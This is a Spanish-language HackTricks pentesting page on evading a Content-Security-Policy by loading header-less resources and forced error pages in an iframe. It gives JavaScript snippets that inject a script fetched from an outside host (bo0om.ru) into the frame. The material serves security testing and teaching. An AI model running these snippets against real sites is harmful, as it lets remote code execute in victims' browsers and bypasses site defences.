☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Una configuración como: ``` Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’; ``` Prohíbe el uso de cualquier función que ejecute código transmitido como una cadena. Por ejemplo: `eval, setTimeout, setInterval` serán bloqueados debido a la configuración `unsafe-eval`. Cualquier contenido de fuentes externas también está bloqueado, incluyendo imágenes, CSS, WebSockets y, especialmente, JS. ## A través de texto e imágenes Los navegadores modernos transforman imágenes y textos en archivos HTML para visualizarlos mejor (establecen fondo, centrado, etc.). Por lo tanto, si **abres una imagen o archivo de texto** como **favicon.ico** o **robots.txt** con un **`iframe`**, lo abrirás como HTML. **Este tipo de páginas generalmente no tienen encabezados CSP y es posible que no tengan X-Frame-Options**, por lo que puedes ejecutar JS arbitrario desde ellas: ```javascript frame=document.createElement("iframe"); frame.src="/css/bootstrap.min.css"; document.body.appendChild(frame); script=document.createElement('script'); script.src='//bo0om.ru/csp.js'; window.frames[0].document.head.appendChild(script); ``` ## A través de Errores Al igual que los archivos de texto o imágenes, **las respuestas de error generalmente no tienen encabezados CSP y es posible que no tengan X-Frame-Options**. Por lo tanto, puedes forzar errores y cargarlos dentro de un iframe: ```javascript // Force nginx error frame=document.createElement("iframe"); frame.src="/%2e%2e%2f"; document.body.appendChild(frame); // Force error via long URL frame=document.createElement("iframe"); frame.src="/"+"A".repeat(20000); document.body.appendChild(frame); // Force error via long cookies for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)}; frame=document.createElement("iframe"); frame.src="/"; document.body.appendChild(frame); // Don't forget to remove them for(var i=0;i<5;i++){document.cookie=i+"="} ``` ```javascript // After any of the previous examples, you can execute JS in the iframe with something like: script=document.createElement('script'); script.src='//bo0om.ru/csp.js'; window.frames[0].document.head.appendChild(script); ``` ## Referencias * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.